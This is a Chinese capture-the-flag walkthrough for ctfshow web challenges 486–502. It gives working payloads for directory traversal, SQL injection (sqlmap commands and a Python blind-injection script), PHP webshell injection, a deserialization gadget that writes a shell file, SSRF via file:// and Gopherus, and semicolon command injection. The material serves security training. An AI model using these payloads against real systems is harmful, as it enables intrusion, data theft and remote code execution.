Web486
- 进去后观察url,将action的值去掉访问,发现存在目录穿越
- action=../flag即可得到flag
Web487
-
进入依旧是观察利用目录穿越先看源码
url/index.php?action=../index
//查看index源码,发现sql注入
url/index.php?action=../render/db_class
//查看sql配置,使用的是ctfshow数据库 -
先看sql注入点
url/index.php?action=check&username=') union select 1 --+&password=1
-
发现存在注入点,使用sqlmap
sqlmap -u "http://1217bb90-d275-4712-ba92-53335c978f85.challenge.ctf.show/index.php?action=check&username=1&password=1" --form --dbms=mysql
-
一路甩下去,最终的命令
sqlmap -u "http://1217bb90-d275-4712-ba92-53335c978f85.challenge.ctf.show/index.php?action=check&username=1&password=1" --form --dbms=mysql --batch -D ctfshow -T flag -C flag --dump
- 延时注入方法: https://www.bilibili.com/video/BV1jf4y1A75p?p=2
web488
先说解
-
访问下面的url进行写马
url/index.php?action=check&username=<?php eval($_POST[cmd]); ?>&password=1
- 访问url/cache/cb5e100e5a9a3e7f6d1fd97512215282.php 即可解题
原理
- 通过url/index.php?action=../index 来依次查看源代码,把所需的源码都看一遍
- 从index.php开始,会将接收的username和password带入sql进行查询(这里貌似注入不了),然后判断是否查询到,这边应该是没有查询到,返回false。进入templateUtil类的render方法
- 进入render方法,调用class_cache.php中的cache类中的cache_exists方法来检查cache缓存文件是否存在,存在不执行写入,如果不存在进入else进行写入操作
- 首先读取templates下面的模板文件,然后使用tenplateUtil类中的shade方法,将读取的模板文件和username带入。将error中的username给替换为value(就是我们输入的username)。
- 然后写入的东西会放到cache/cb5e100e5a9a3e7f6d1fd97512215282.php(error加密后的md5),我们可以给username传入小马,然后访问梭哈即可
Web489
解法一
payload
url/index.php?action=check&username=<?=eval($_POST[cmd]);?>&sql=select 1;
url/cache/6a992d5529f459a44fee58c733255e86.php
原理
根据index源码,error不再写入,但是查询成功可以写入,还是写入的username。而且新增了一个extract($_GET),变量覆盖,即你get输入什么,就会覆盖,在这里我们完全可以在url栏输入sql=select 1;让sql语句成功,然后进入if写入一句话
Web490
payload
url/index.php?action=check&username=' union select 'eval($_POST[cmd])' --+&password=1
url/cache/6a992d5529f459a44fee58c733255e86.php
原理
- 通过url/index.php?action=../index,依次查看文件的源码
- index如果sql成功执行,会使用templateUtil类中的render方法,传入index和我们输入的username。
- render/render_class,进入方法后,会调用cache类中的get_cache方法,会检测有没有在cache有没有创建md5(index)文件,没有的话,执行else
- 先读取index文件,然后执行templateUtil 类中的shade方法,会将我们输入的username给写入到md5(index)文件里面,而且预留好了<?= ?>
- 综上,只需要传入一句话马去掉前后标签即可
Web491
payload
跑延时注入
import requests
string = "}qwertyuioplkjhgfdsazxcvbnm0123456789{-.@"
url = "http://ed5041a1-3e82-4c17-9d29-0d5987b26f8c.challenge.ctf.show/index.php?action=check&username="
payload = ""
end = "&password=1"
def get_columns():
ret = ""
for x in range(1, 50):
for y in string:
payload = "' union select if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1) --+".format(
x, y)
try:
req = requests.get(url + payload + end, timeout=2)
except:
ret += y
print(ret)
if __name__ == '__main__':
get_columns()
原理
flag在根目录,所以用读取文件盲注
Web492
payload
url/index.php?action=check&username=&password=2&user[username]=--> <?=eval($_POST[cmd])?> <!--
url/cache/6a992d5529f459a44fee58c733255e86.php
Web493-495
通过目录穿越查看index.php关键代码
//如果没有action参数,会检测有没有cookie,如果有,就反序列化,反序列化成功后,就会开始zhixing
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
$user=unserialize($c);
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
* **/render/db_class文件关键写马代码**
class db{
public $db;
public $log;
public function __construct(){
$this->log=new dbLog();
//实例化dbLog这个方法
}
}
class dbLog{
public $content;
public $log;
//反序列化的时候可以初始化值
public function __destruct(){
//销毁的时候进行写文件操作
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
解决方法
<?php
error_reporting(0);
class db{
public $log;
public function __construct(){
$this->log=new dbLog();
}
}
class dbLog{
public $content='<?=eval($_POST[cmd])?>';
public $log='/var/www/html/shell.php';
}
echo urlencode(serialize(new db()));
?>
将输出的内容写入cookie,名称user,值是上面输出的值。然后访问url/index.php即可生成木马。
访问url/shell.php即可
Web497(SSRF)
payload
在index,post传参 username=' || 1 #&password=1 进入后台
访问url/api/admin_edit.php
post传参, nickname=sibei&avatar=file:///flag
返回个人资料,在图片那边查看源代码,是base64,然后解码即可获取flag
原理
进入后台不讲了,Sql注入
进入后台发现可以修改头像,用的是链接地址,直接修改不可以,
通过url/index.php?action=../api/admin_edit 读取源码
extract($_POST);//变量覆盖
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
//需要nickname和avatar
直接访问url/api/admin_edit
并且通过POST,进行传参,使用file://协议
Web498
payload
在index,post传参 username=' || 1 #&password=1 进入后台
使用https://github.com/tarunkant/Gopherus 工具
将生成的payload填入头像并修改,提交后访问url/shell.php
Web499
Payload
在index,post传参 username=' || 1 #&password=1 进入后台
url/index.php?action=view&page=admin_settings
任意一个框输入php代码 config/settings.php
访问url/config/settings.php
Web500
在index,post传参 username=' || 1 #&password=1 进入后台
查看源码 url/index.php?action=../api/admin_db_backup
存在变量覆盖
extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);
直接可以用;拼接命令
访问url/api/admin_db_backup.php
POST传入,db_path=;cat /f* > /var/www/html/test.html
访问url/test.html即可
Web501
在index,post传参 username=' || 1 #&password=1 进入后台
查看源码 url/index.php?action=../api/admin_db_backup
extract($_POST);
if(preg_match('/^zip|tar|sql$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
虽然固定了格式,但还是可以绕过
url/api/admin_db_backup.php
post传入 db_format=zip;tac /f* > /var/www/html/1.html
Web502
在index,post传参 username=' || 1 #&password=1 进入后台
查看源码 url/index.php?action=../api/admin_db_backup
extract($_POST);
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
db_format过滤了,但是pre没有
url/api/admin_db_backup.php
post传入 db_format=zip&pre=1;tac /f* > /var/www/html/1.html;1